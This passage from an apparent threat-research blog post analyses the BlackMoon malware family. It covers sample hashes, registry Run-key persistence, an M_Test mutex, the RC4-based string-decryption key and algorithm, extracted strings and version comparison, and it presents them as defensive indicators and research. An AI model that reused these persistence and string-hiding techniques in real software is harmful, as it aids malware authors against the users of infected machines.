Persistence</strong></h4><p> The malware installs itself under a HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run's subkey. For most of the older samples, the run subkey is a 8-length combination of lowercase and uppercase letters and numbers. However the analyzed samples that date 2018, install themself in the subkey with fixed name 000C29FC2AB3.<br><br> <br></p><p>SampleFirst SeenRun Subkey <a href="http://sandbox.peppermalware.com/publicreport/?filter=c38e54342cdae1d9181ec48e94dc5c83&amp;action=showpdf">09beec989993806345254ca9adcdb034f8649d8a9633bbe8933a52f5093e8be1</a>2018-11-01<strong>000C29FC2AB3</strong> <a href="http://sandbox.peppermalware.com/publicreport/?filter=f4114b3006806d7ee27af23978591fbb&amp;action=showpdf">80ea86d195bbc4384a1b9a77a2d477e2c4e6dc6d48f3f80447877dbbe41a4e40</a>2018-06-18<strong>000C29FC2AB3</strong> <a href="http://sandbox.peppermalware.com/publicreport/?filter=0cd7fc49d7e796c5ea0cc9a1e4470536&amp;action=showpdf">2de1e47c650c0a8865ecc7e7b68379ca071062c0873f46a4addb1aa13b8d48dc</a>2016-03-0306iSwa6C <a href="http://sandbox.peppermalware.com/publicreport/?filter=01da4acd0c1964b466b1b1686d778f2f&amp;action=showpdf">5f17cf9aee107458995c434d21263528132b5d0ab8a20121d3de48478ec6c467</a>2016-02-28kC6MOsu8 <a href="http://sandbox.peppermalware.com/publicreport/?filter=1c9f763fb49bb0a76bc53c3fd4f28093&amp;action=showpdf">47434c9c2e887ba6f47a31e757b4ac0c0e648dfee9f93e38bd49e1c17f660dcf</a>2016-03-05R3tP5nj1 <a href="http://sandbox.peppermalware.com/publicreport/?filter=1e9765081745e4328d52547c01427669&amp;action=showpdf">2012486d87dcc3362745c6f8f178b9be5417c595e79c452a20729d2e60ec814b</a>2016-03-0866qscw4Q <a href="http://sandbox.peppermalware.com/publicreport/?filter=2aabd4fa21cca0f153f57ccc1f3c54c0&amp;action=showpdf">05afd7bbf6efa14102f72bad0e3a0686af6522b25228ab760ef57e8d6df36ed1</a>2016-03-05W60u80qO <a href="http://sandbox.peppermalware.com/publicreport/?filter=2e97c8191fcd94bfc77cea13b9eea463&amp;action=showpdf">5e1ca094e11b2dcfdd4c729e2eaf1bdfd0ec84067a39f1c3a233bfff1ff6dcb5</a>2016-03-20uki4Kk2o <a href="http://sandbox.peppermalware.com/publicreport/?filter=3cfd66340f204e1b8697e7a8514c00ab&amp;action=showpdf">406c50ed0333d2023de55ce798a4e7d5fa6e45df65c16733ef48961e94277807</a>2016-04-0835V5Bj9b <a href="http://sandbox.peppermalware.com/publicreport/?filter=05cc8b5bb7fbb87f216dc2956864d52d&amp;action=showpdf">4844e92d76b2158be2b5468b70e2d0898f9ba2287a02b2b0aa7af2a2113d4970</a>2016-03-02AAAC2kY8 <a href="http://sandbox.peppermalware.com/publicreport/?filter=09a0220648cfec926f72d2ad3d0c3ec0&amp;action=showpdf">7351373a50acbaa4bb3fa622b0573f473289d745ba717551c82abbe398c1c1ff</a>2016-03-101Lf9Tn7B <a href="http://sandbox.peppermalware.com/publicreport/?filter=11fb2f435a7c525640575cd571b83513&amp;action=showpdf">09a5dc4f9544f7bbc898d205f1e14518606e158f4a7c7126d7eb604ec9ec5c74</a>2016-04-095jNh7p11 <a href="http://sandbox.peppermalware.com/publicreport/?filter=19f1a9a51db139fa7cedc183a2ab555d&amp;action=showpdf">224ead790d3bab7ede11252728d47e21f0d0274767aa3e6a16628e8970a0149f</a>2016-02-28j3pVbRJ5 <a href="http://sandbox.peppermalware.com/publicreport/?filter=236cc4758f096952703b8e0b457bf4e5&amp;action=showpdf">00eae37eaaee93b8155e6bad95564c3d95d71e7397653ffcbae4f95614ffa723</a>2016-05-05<strong>000C29FC2AB3</strong></p><p><br> <br> Curiously, the sample&nbsp;00eae37eaaee93b8155e6bad95564c3d95d71e7397653ffcbae4f95614ffa723 that dates 2016-05-05 (from the older samples, one of the newest), installs itself under the same subkey 000C29FC2AB3.<br><br>In addition, these samples that create the subkey with name <strong>000C29FC2AB3</strong>, they create a mutex named <strong>M_Test </strong>too (the other samples don't create this mutex).<br><br><br></p><h4><strong>2.2. Encrypted Strings</strong></h4><p> Most of the important strings of BlackMoon are encrypted.<br><br>Here is a capture of the code responsible for decrypting the strings from the sample&nbsp;09beec989993806345254ca9adcdb034f8649d8a9633bbe8933a52f5093e8be1:<br><br> <br></p><a class="image-link image2 is-viewable-img" target="_blank" href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjJefqb9JSyTkFgKiO0Dq814PiFSkyrgzA7vGzbVr_SWnmKVokqfeCd1h0FRcdsNgFAMiAsE1g0ZYvs0PCKFTEjylMGbQvlthKl3_Kb5z3PsyJWg1KgU_5drAvlIQpKfMVotG5FuMfgH30/s400/decrypt_string.png" data-component-name="Image2ToDOM"><div class="image2-inset"><picture><source type="image/webp" srcset="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjJefqb9JSyTkFgKiO0Dq814PiFSkyrgzA7vGzbVr_SWnmKVokqfeCd1h0FRcdsNgFAMiAsE1g0ZYvs0PCKFTEjylMGbQvlthKl3_Kb5z3PsyJWg1KgU_5drAvlIQpKfMVotG5FuMfgH30/s400/decrypt_string.png 424w, https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjJefqb9JSyTkFgKiO0Dq814PiFSkyrgzA7vGzbVr_SWnmKVokqfeCd1h0FRcdsNgFAMiAsE1g0ZYvs0PCKFTEjylMGbQvlthKl3_Kb5z3PsyJWg1KgU_5drAvlIQpKfMVotG5FuMfgH30/s400/decrypt_string.png 848w, https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjJefqb9JSyTkFgKiO0Dq814PiFSkyrgzA7vGzbVr_SWnmKVokqfeCd1h0FRcdsNgFAMiAsE1g0ZYvs0PCKFTEjylMGbQvlthKl3_Kb5z3PsyJWg1KgU_5drAvlIQpKfMVotG5FuMfgH30/s400/decrypt_string.png 1272w, https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjJefqb9JSyTkFgKiO0Dq814PiFSkyrgzA7vGzbVr_SWnmKVokqfeCd1h0FRcdsNgFAMiAsE1g0ZYvs0PCKFTEjylMGbQvlthKl3_Kb5z3PsyJWg1KgU_5drAvlIQpKfMVotG5FuMfgH30/s400/decrypt_string.png 1456w" sizes="100vw"><img src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjJefqb9JSyTkFgKiO0Dq814PiFSkyrgzA7vGzbVr_SWnmKVokqfeCd1h0FRcdsNgFAMiAsE1g0ZYvs0PCKFTEjylMGbQvlthKl3_Kb5z3PsyJWg1KgU_5drAvlIQpKfMVotG5FuMfgH30/s400/decrypt_string.png" width="400" height="360" data-attrs="{&quot;src&quot;:&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjJefqb9JSyTkFgKiO0Dq814PiFSkyrgzA7vGzbVr_SWnmKVokqfeCd1h0FRcdsNgFAMiAsE1g0ZYvs0PCKFTEjylMGbQvlthKl3_Kb5z3PsyJWg1KgU_5drAvlIQpKfMVotG5FuMfgH30/s400/decrypt_string.png&quot;,&quot;srcNoWatermark&quot;:null,&quot;fullscreen&quot;:null,&quot;imageSize&quot;:null,&quot;height&quot;:360,&quot;width&quot;:400,&quot;resizeWidth&quot;:null,&quot;bytes&quot;:null,&quot;alt&quot;:null,&quot;title&quot;:null,&quot;type&quot;:null,&quot;href&quot;:null,&quot;belowTheFold&quot;:true,&quot;topImage&quot;:false,&quot;internalRedirect&quot;:null,&quot;isProcessing&quot;:false,&quot;align&quot;:null,&quot;offset&quot;:false}" class="sizing-normal" alt="" srcset="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjJefqb9JSyTkFgKiO0Dq814PiFSkyrgzA7vGzbVr_SWnmKVokqfeCd1h0FRcdsNgFAMiAsE1g0ZYvs0PCKFTEjylMGbQvlthKl3_Kb5z3PsyJWg1KgU_5drAvlIQpKfMVotG5FuMfgH30/s400/decrypt_string.png 424w, https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjJefqb9JSyTkFgKiO0Dq814PiFSkyrgzA7vGzbVr_SWnmKVokqfeCd1h0FRcdsNgFAMiAsE1g0ZYvs0PCKFTEjylMGbQvlthKl3_Kb5z3PsyJWg1KgU_5drAvlIQpKfMVotG5FuMfgH30/s400/decrypt_string.png 848w, https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjJefqb9JSyTkFgKiO0Dq814PiFSkyrgzA7vGzbVr_SWnmKVokqfeCd1h0FRcdsNgFAMiAsE1g0ZYvs0PCKFTEjylMGbQvlthKl3_Kb5z3PsyJWg1KgU_5drAvlIQpKfMVotG5FuMfgH30/s400/decrypt_string.png 1272w, https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjJefqb9JSyTkFgKiO0Dq814PiFSkyrgzA7vGzbVr_SWnmKVokqfeCd1h0FRcdsNgFAMiAsE1g0ZYvs0PCKFTEjylMGbQvlthKl3_Kb5z3PsyJWg1KgU_5drAvlIQpKfMVotG5FuMfgH30/s400/decrypt_string.png 1456w" sizes="100vw" loading="lazy"></picture><div class="image-link-expand"><div class="pencraft pc-display-flex pc-gap-8 pc-reset"><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container restack-image"><svg role="img" width="20" height="20" viewBox="0 0 20 20" fill="none" stroke-width="1.5" stroke="var(--color-fg-primary)" stroke-linecap="round" stroke-linejoin="round" xmlns="http://www.w3.org/2000/svg"><g><title></title><path d="M2.53001 7.81595C3.49179 4.73911 6.43281 2.5 9.91173 2.5C13.1684 2.5 15.9537 4.46214 17.0852 7.23684L17.6179 8.67647M17.6179 8.67647L18.5002 4.26471M17.6179 8.67647L13.6473 6.91176M17.4995 12.1841C16.5378 15.2609 13.5967 17.5 10.1178 17.5C6.86118 17.5 4.07589 15.5379 2.94432 12.7632L2.41165 11.3235M2.41165 11.3235L1.5293 15.7353M2.41165 11.3235L6.38224 13.0882"></path></g></svg></button><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container view-image"><svg xmlns="http://www.w3.org/2000/svg" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round" class="lucide lucide-maximize2 lucide-maximize-2"><polyline points="15 3 21 3 21 9"></polyline><polyline points="9 21 3 21 3 15"></polyline><line x1="21" x2="14" y1="3" y2="10"></line><line x1="3" x2="10" y1="21" y2="14"></line></svg></button></div></div></div></a><p><br> <br> To compose the definitive key that the malware uses to decrypt the strings, it carries an string that is the first part of the key, and then it appends 6 additional characters to that first part of the key. In the capture, the definitive key to be used would be "7ac13b3aa82136afa3090c5137B8a195".<br><br>Encrypted strings are like this:<br><br><br></p><a class="image-link image2 is-viewable-img" target="_blank" href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiTW8L762AWYtH1q6y-04OAaGA262zK6jywFDaiu4EDeDj6W0UmzEQxtd8tOG4aKhW0ocSPgwCqB4ksgF4T-6c9mJTNbBrN-SfI7MCcaV3Z8V11gujvpgb8mSGvMenmbBel1rRgJA-mIJI/s400/encrypted_strings.png" data-component-name="Image2ToDOM"><div class="image2-inset"><picture><source type="image/webp" srcset="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiTW8L762AWYtH1q6y-04OAaGA262zK6jywFDaiu4EDeDj6W0UmzEQxtd8tOG4aKhW0ocSPgwCqB4ksgF4T-6c9mJTNbBrN-SfI7MCcaV3Z8V11gujvpgb8mSGvMenmbBel1rRgJA-mIJI/s400/encrypted_strings.png 424w, https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiTW8L762AWYtH1q6y-04OAaGA262zK6jywFDaiu4EDeDj6W0UmzEQxtd8tOG4aKhW0ocSPgwCqB4ksgF4T-6c9mJTNbBrN-SfI7MCcaV3Z8V11gujvpgb8mSGvMenmbBel1rRgJA-mIJI/s400/encrypted_strings.png 848w, https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiTW8L762AWYtH1q6y-04OAaGA262zK6jywFDaiu4EDeDj6W0UmzEQxtd8tOG4aKhW0ocSPgwCqB4ksgF4T-6c9mJTNbBrN-SfI7MCcaV3Z8V11gujvpgb8mSGvMenmbBel1rRgJA-mIJI/s400/encrypted_strings.png 1272w, https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiTW8L762AWYtH1q6y-04OAaGA262zK6jywFDaiu4EDeDj6W0UmzEQxtd8tOG4aKhW0ocSPgwCqB4ksgF4T-6c9mJTNbBrN-SfI7MCcaV3Z8V11gujvpgb8mSGvMenmbBel1rRgJA-mIJI/s400/encrypted_strings.png 1456w" sizes="100vw"><img src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiTW8L762AWYtH1q6y-04OAaGA262zK6jywFDaiu4EDeDj6W0UmzEQxtd8tOG4aKhW0ocSPgwCqB4ksgF4T-6c9mJTNbBrN-SfI7MCcaV3Z8V11gujvpgb8mSGvMenmbBel1rRgJA-mIJI/s400/encrypted_strings.png" width="400" height="262" data-attrs="{&quot;src&quot;:&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiTW8L762AWYtH1q6y-04OAaGA262zK6jywFDaiu4EDeDj6W0UmzEQxtd8tOG4aKhW0ocSPgwCqB4ksgF4T-6c9mJTNbBrN-SfI7MCcaV3Z8V11gujvpgb8mSGvMenmbBel1rRgJA-mIJI/s400/encrypted_strings.png&quot;,&quot;srcNoWatermark&quot;:null,&quot;fullscreen&quot;:null,&quot;imageSize&quot;:null,&quot;height&quot;:262,&quot;width&quot;:400,&quot;resizeWidth&quot;:null,&quot;bytes&quot;:null,&quot;alt&quot;:null,&quot;title&quot;:null,&quot;type&quot;:null,&quot;href&quot;:null,&quot;belowTheFold&quot;:true,&quot;topImage&quot;:false,&quot;internalRedirect&quot;:null,&quot;isProcessing&quot;:false,&quot;align&quot;:null,&quot;offset&quot;:false}" class="sizing-normal" alt="" srcset="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiTW8L762AWYtH1q6y-04OAaGA262zK6jywFDaiu4EDeDj6W0UmzEQxtd8tOG4aKhW0ocSPgwCqB4ksgF4T-6c9mJTNbBrN-SfI7MCcaV3Z8V11gujvpgb8mSGvMenmbBel1rRgJA-mIJI/s400/encrypted_strings.png 424w, https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiTW8L762AWYtH1q6y-04OAaGA262zK6jywFDaiu4EDeDj6W0UmzEQxtd8tOG4aKhW0ocSPgwCqB4ksgF4T-6c9mJTNbBrN-SfI7MCcaV3Z8V11gujvpgb8mSGvMenmbBel1rRgJA-mIJI/s400/encrypted_strings.png 848w, https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiTW8L762AWYtH1q6y-04OAaGA262zK6jywFDaiu4EDeDj6W0UmzEQxtd8tOG4aKhW0ocSPgwCqB4ksgF4T-6c9mJTNbBrN-SfI7MCcaV3Z8V11gujvpgb8mSGvMenmbBel1rRgJA-mIJI/s400/encrypted_strings.png 1272w, https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiTW8L762AWYtH1q6y-04OAaGA262zK6jywFDaiu4EDeDj6W0UmzEQxtd8tOG4aKhW0ocSPgwCqB4ksgF4T-6c9mJTNbBrN-SfI7MCcaV3Z8V11gujvpgb8mSGvMenmbBel1rRgJA-mIJI/s400/encrypted_strings.png 1456w" sizes="100vw" loading="lazy"></picture><div class="image-link-expand"><div class="pencraft pc-display-flex pc-gap-8 pc-reset"><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container restack-image"><svg role="img" width="20" height="20" viewBox="0 0 20 20" fill="none" stroke-width="1.5" stroke="var(--color-fg-primary)" stroke-linecap="round" stroke-linejoin="round" xmlns="http://www.w3.org/2000/svg"><g><title></title><path d="M2.53001 7.81595C3.49179 4.73911 6.43281 2.5 9.91173 2.5C13.1684 2.5 15.9537 4.46214 17.0852 7.23684L17.6179 8.67647M17.6179 8.67647L18.5002 4.26471M17.6179 8.67647L13.6473 6.91176M17.4995 12.1841C16.5378 15.2609 13.5967 17.5 10.1178 17.5C6.86118 17.5 4.07589 15.5379 2.94432 12.7632L2.41165 11.3235M2.41165 11.3235L1.5293 15.7353M2.41165 11.3235L6.38224 13.0882"></path></g></svg></button><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container view-image"><svg xmlns="http://www.w3.org/2000/svg" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round" class="lucide lucide-maximize2 lucide-maximize-2"><polyline points="15 3 21 3 21 9"></polyline><polyline points="9 21 3 21 3 15"></polyline><line x1="21" x2="14" y1="3" y2="10"></line><line x1="3" x2="10" y1="21" y2="14"></line></svg></button></div></div></div></a><p><br><br>The algorithm used to decrypt each string is rc4(unhexlify(rc4(unhexlify(encrypted_string), key)), key):<br><br><br></p><a class="image-link image2" target="_blank" href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEi83Ehm3A8sVQF2abACeuWL-PKYPKnO3EL8asE69MAT7Ch7QRLHSiljVledSy-BFI45B8zfQXdfNnbKJNfrYVSz1vRtbHvziqhBDaFyiEBWl0ubO7tbDtIqa9NWWbp7lAcUd3kMohiJ77o/s1600/decstr.png" data-component-name="Image2ToDOM"><div class="image2-inset"><picture><source type="image/webp" srcset="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEi83Ehm3A8sVQF2abACeuWL-PKYPKnO3EL8asE69MAT7Ch7QRLHSiljVledSy-BFI45B8zfQXdfNnbKJNfrYVSz1vRtbHvziqhBDaFyiEBWl0ubO7tbDtIqa9NWWbp7lAcUd3kMohiJ77o/s1600/decstr.png 424w, https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEi83Ehm3A8sVQF2abACeuWL-PKYPKnO3EL8asE69MAT7Ch7QRLHSiljVledSy-BFI45B8zfQXdfNnbKJNfrYVSz1vRtbHvziqhBDaFyiEBWl0ubO7tbDtIqa9NWWbp7lAcUd3kMohiJ77o/s1600/decstr.png 848w, https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEi83Ehm3A8sVQF2abACeuWL-PKYPKnO3EL8asE69MAT7Ch7QRLHSiljVledSy-BFI45B8zfQXdfNnbKJNfrYVSz1vRtbHvziqhBDaFyiEBWl0ubO7tbDtIqa9NWWbp7lAcUd3kMohiJ77o/s1600/decstr.png 1272w, https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEi83Ehm3A8sVQF2abACeuWL-PKYPKnO3EL8asE69MAT7Ch7QRLHSiljVledSy-BFI45B8zfQXdfNnbKJNfrYVSz1vRtbHvziqhBDaFyiEBWl0ubO7tbDtIqa9NWWbp7lAcUd3kMohiJ77o/s1600/decstr.png 1456w" sizes="100vw"><img src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEi83Ehm3A8sVQF2abACeuWL-PKYPKnO3EL8asE69MAT7Ch7QRLHSiljVledSy-BFI45B8zfQXdfNnbKJNfrYVSz1vRtbHvziqhBDaFyiEBWl0ubO7tbDtIqa9NWWbp7lAcUd3kMohiJ77o/s1600/decstr.png" data-attrs="{&quot;src&quot;:&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEi83Ehm3A8sVQF2abACeuWL-PKYPKnO3EL8asE69MAT7Ch7QRLHSiljVledSy-BFI45B8zfQXdfNnbKJNfrYVSz1vRtbHvziqhBDaFyiEBWl0ubO7tbDtIqa9NWWbp7lAcUd3kMohiJ77o/s1600/decstr.png&quot;,&quot;srcNoWatermark&quot;:null,&quot;fullscreen&quot;:null,&quot;imageSize&quot;:null,&quot;height&quot;:null,&quot;width&quot;:null,&quot;resizeWidth&quot;:null,&quot;bytes&quot;:null,&quot;alt&quot;:null,&quot;title&quot;:null,&quot;type&quot;:null,&quot;href&quot;:null,&quot;belowTheFold&quot;:true,&quot;topImage&quot;:false,&quot;internalRedirect&quot;:null,&quot;isProcessing&quot;:false,&quot;align&quot;:null,&quot;offset&quot;:false}" class="sizing-normal" alt="" srcset="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEi83Ehm3A8sVQF2abACeuWL-PKYPKnO3EL8asE69MAT7Ch7QRLHSiljVledSy-BFI45B8zfQXdfNnbKJNfrYVSz1vRtbHvziqhBDaFyiEBWl0ubO7tbDtIqa9NWWbp7lAcUd3kMohiJ77o/s1600/decstr.png 424w, https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEi83Ehm3A8sVQF2abACeuWL-PKYPKnO3EL8asE69MAT7Ch7QRLHSiljVledSy-BFI45B8zfQXdfNnbKJNfrYVSz1vRtbHvziqhBDaFyiEBWl0ubO7tbDtIqa9NWWbp7lAcUd3kMohiJ77o/s1600/decstr.png 848w, https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEi83Ehm3A8sVQF2abACeuWL-PKYPKnO3EL8asE69MAT7Ch7QRLHSiljVledSy-BFI45B8zfQXdfNnbKJNfrYVSz1vRtbHvziqhBDaFyiEBWl0ubO7tbDtIqa9NWWbp7lAcUd3kMohiJ77o/s1600/decstr.png 1272w, https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEi83Ehm3A8sVQF2abACeuWL-PKYPKnO3EL8asE69MAT7Ch7QRLHSiljVledSy-BFI45B8zfQXdfNnbKJNfrYVSz1vRtbHvziqhBDaFyiEBWl0ubO7tbDtIqa9NWWbp7lAcUd3kMohiJ77o/s1600/decstr.png 1456w" sizes="100vw" loading="lazy"></picture><div></div></div></a><h3>3. Evolution</h3><h4><strong>3.1. Encrypted Strings Evolution</strong></h4><p> We have extracted the strings from samples from different dates, to compare them:<br><br></p><p><br> Date&nbsp;2016-02-28:<br>Sample&nbsp;5f17cf9aee107458995c434d21263528132b5d0ab8a20121d3de48478ec6c467:<br><br> <br><br>Date&nbsp;2016-03-03:<br>Sample&nbsp;2de1e47c650c0a8865ecc7e7b68379ca071062c0873f46a4addb1aa13b8d48dc:<br><br>&nbsp;</p><p><br>Date&nbsp;2016-05-05:<br>Sample&nbsp;00eae37eaaee93b8155e6bad95564c3d95d71e7397653ffcbae4f95614ffa723:<br><br><br><br><br> Date&nbsp;2018-06-18:<br></p><p>Sample&nbsp;80ea86d195bbc4384a1b9a77a2d477e2c4e6dc6d48f3f80447877dbbe41a:<br><br></p><p><br> Date&nbsp;2018-11-01:<br>Sample&nbsp;09beec989993806345254ca9adcdb034f8649d8a9633bbe8933a52f5093e:<br><br></p><p><br>In the section 2.1 (about persistence), we had already noticed that most of the samples from 2016 create a 8 bytes length subkey under the registry \Run key, with a combination of lowercase and uppercase letters and numbers.&nbsp;<br><br> However a sample dated&nbsp;2016-05-05 and the newer samples dated 2018 create a subkey under \Run with name&nbsp;<strong>000C29FC2AB3</strong>. In addition these samples create a mutex with name <strong>M_Test </strong>(this mutex is not created by the 2016's samples).<br><br> If we take a look at the lists of strings, the sample dated 2016-05-05 and the samples dated 2018, all of them have similar lists of encrypted strings, where strings are ordered in similar order (thought they are not totally identicals).<br><br> The other samples dated 2016 contain another lists of strings, identical between them, but different from the lists of the samples dated 2018.<br><br> <br></p><h4><strong>3.2. BlackMoon Versions: Latest Version Under Development?</strong></h4><p>Having in mind the IoCs collected in the previous sections, we can conclude that there is a first version of BlackMoon malware, whose samples are dated around 2016, and other version that could be under development, whose samples we have one of them dated 2016-05-05, and other two dated 2018-06 and 2018-11.<br><br>Version 1:<br></p><ul><li><p>Persistence: 8 bytes length subkey under registry \Run key, with a combination of lowercase and uppercase letters and numbers</p></li><li><p>Encrypted strings:&nbsp;"http://", "/ca.php", "?m=", "&amp;h;=", "GET", "?p", "POST", "users.qzone.qq.com", "GET /fcg-bin/cgi_get_portrait.fcg?uins=", etc...</p></li><li><p>Samples dated 2016</p></li></ul><p><br>Version 2 - probably under development version:<br></p><ul><li><p>Persistence: subkey under \Run with name&nbsp;<strong>000C29FC2AB3</strong></p></li><li><p>Mutex: <strong>M_Test</strong></p></li><li><p>Encrypted strings:&nbsp;"ScriptControl", "Language", "VBScript", "ExecuteStatement", "Function MACAddress()", "Dim mc,mo", "Set mc=GetObject(\"Winmgmts:\").InstancesOf(\"Win32_NetworkAdapterConfiguration\"), "For Each mo In mc", etc...</p></li><li><p>A sample dated 2016-05-05, other 2 samples dated 2018</p></li></ul><p>We have&nbsp;only&nbsp;3 samples that we have classified as version 2. Probably they are quite similar, but we must have in mind that the lists of encrypted strings for these samples are not totally identical. However, the Run key 000C29FC2AB3 and the mutex M_Test, make us to think these 3 samples are the same version.</p><p>From my point of view, these 3 newer samples could be a version that is under development. Because of that, each version 2's sample is a bit different from the others. And because of that, the name M_Test for the mutex and the non-random name for the \Run subkey.</p><h4><strong>3.3. BinDiff</strong></h4><p>Lets compare with BinDiff the following samples (once they are already unpacked) trying to understand the evolution of this malware:</p><p>Version1:</p><ul><li><p>2de1e47c650c0a8865ecc7e7b68379ca071062c0873f46a4addb1aa13b8d48dc</p></li><li><p>2016-03-03</p></li><li><p>Original sample packed with Fsg</p></li></ul><p>Version2:</p><ul><li><p>00eae37eaaee93b8155e6bad95564c3d95d71e7397653ffcbae4f95614ffa723</p></li><li><p>2016-05-05</p></li><li><p>Original sample packed with&nbsp;PeCompact</p></li></ul><p>Version2:</p><ul><li><p>80ea86d195bbc4384a1b9a77a2d477e2c4e6dc6d48f3f80447877dbbe41a</p></li><li><p>2018-06-18</p></li><li><p>Original sample packed with&nbsp;AsPack</p></li></ul><p>Version2:</p><ul><li><p>09beec989993806345254ca9adcdb034f8649d8a9633bbe8933a52f5093e</p></li><li><p>2018-11-01</p></li><li><p>Original sample packed with&nbsp;PeCompact</p></li></ul><p>3.3.1. 2016-03-03 -&gt; 2016-05-05 Statistics: 345 matching functions</p><a class="image-link image2" target="_blank" href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjpMI1Qa10zJ1yQi_7f8xIYOHGx6Y5TuNiPGG3ppt4Nmv1Qlurpg0z_cU8sMKZWqnDsaz1rWH1JQFnZR5NToDm9JQP0SH6E6h7MZGD2wmTy_hdhbDGckB1ABV3HEF3bA7xDNWjGQR138Rw/s400/2016_03_03____2016_05_05.png" data-component-name="Image2ToDOM"><div class="image2-inset"><picture><source type="image/webp" srcset="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjpMI1Qa10zJ1yQi_7f8xIYOHGx6Y5TuNiPGG3ppt4Nmv1Qlurpg0z_cU8sMKZWqnDsaz1rWH1JQFnZR5NToDm9JQP0SH6E6h7MZGD2wmTy_hdhbDGckB1ABV3HEF3bA7xDNWjGQR138Rw/s400/2016_03_03____2016_05_05.png 424w, https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjpMI1Qa10zJ1yQi_7f8xIYOHGx6Y5TuNiPGG3ppt4Nmv1Qlurpg0z_cU8sMKZWqnDsaz1rWH1JQFnZR5NToDm9JQP0SH6E6h7MZGD2wmTy_hdhbDGckB1ABV3HEF3bA7xDNWjGQR138Rw/s400/2016_03_03____2016_05_05.png 848w, https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjpMI1Qa10zJ1yQi_7f8xIYOHGx6Y5TuNiPGG3ppt4Nmv1Qlurpg0z_cU8sMKZWqnDsaz1rWH1JQFnZR5NToDm9JQP0SH6E6h7MZGD2wmTy_hdhbDGckB1ABV3HEF3bA7xDNWjGQR138Rw/s400/2016_03_03____2016_05_05.png 1272w, https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjpMI1Qa10zJ1yQi_7f8xIYOHGx6Y5TuNiPGG3ppt4Nmv1Qlurpg0z_cU8sMKZWqnDsaz1rWH1JQFnZR5NToDm9JQP0SH6E6h7MZGD2wmTy_hdhbDGckB1ABV3HEF3bA7xDNWjGQR138Rw/s400/2016_03_03____2016_05_05.png 1456w" sizes="100vw"><img src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjpMI1Qa10zJ1yQi_7f8xIYOHGx6Y5TuNiPGG3ppt4Nmv1Qlurpg0z_cU8sMKZWqnDsaz1rWH1JQFnZR5NToDm9JQP0SH6E6h7MZGD2wmTy_hdhbDGckB1ABV3HEF3bA7xDNWjGQR138Rw/s400/2016_03_03____2016_05_05.png" width="400" height="200" data-attrs="{&quot;src&quot;:&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjpMI1Qa10zJ1yQi_7f8xIYOHGx6Y5TuNiPGG3ppt4Nmv1Qlurpg0z_cU8sMKZWqnDsaz1rWH1JQFnZR5NToDm9JQP0SH6E6h7MZGD2wmTy_hdhbDGckB1ABV3HEF3bA7xDNWjGQR138Rw/s400/2016_03_03____2016_05_05.png&quot;,&quot;srcNoWatermark&quot;:null,&quot;fullscreen&quot;:null,&quot;imageSize&quot;:null,&quot;height&quot;:200,&quot;width&quot;:400,&quot;resizeWidth&quot;:null,&quot;bytes&quot;:null,&quot;alt&quot;:null,&quot;title&quot;:null,&quot;type&quot;:null,&quot;href&quot;:null,&quot;belowTheFold&quot;:true,&quot;topImage&quot;:false,&quot;internalRedirect&quot;:null,&quot;isProcessing&quot;:false,&quot;align&quot;:null,&quot;offset&quot;:false}" class="sizing-normal" alt="" srcset="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjpMI1Qa10zJ1yQi_7f8xIYOHGx6Y5TuNiPGG3ppt4Nmv1Qlurpg0z_cU8sMKZWqnDsaz1rWH1JQFnZR5NToDm9JQP0SH6E6h7MZGD2wmTy_hdhbDGckB1ABV3HEF3bA7xDNWjGQR138Rw/s400/2016_03_03____2016_05_05.png 424w, 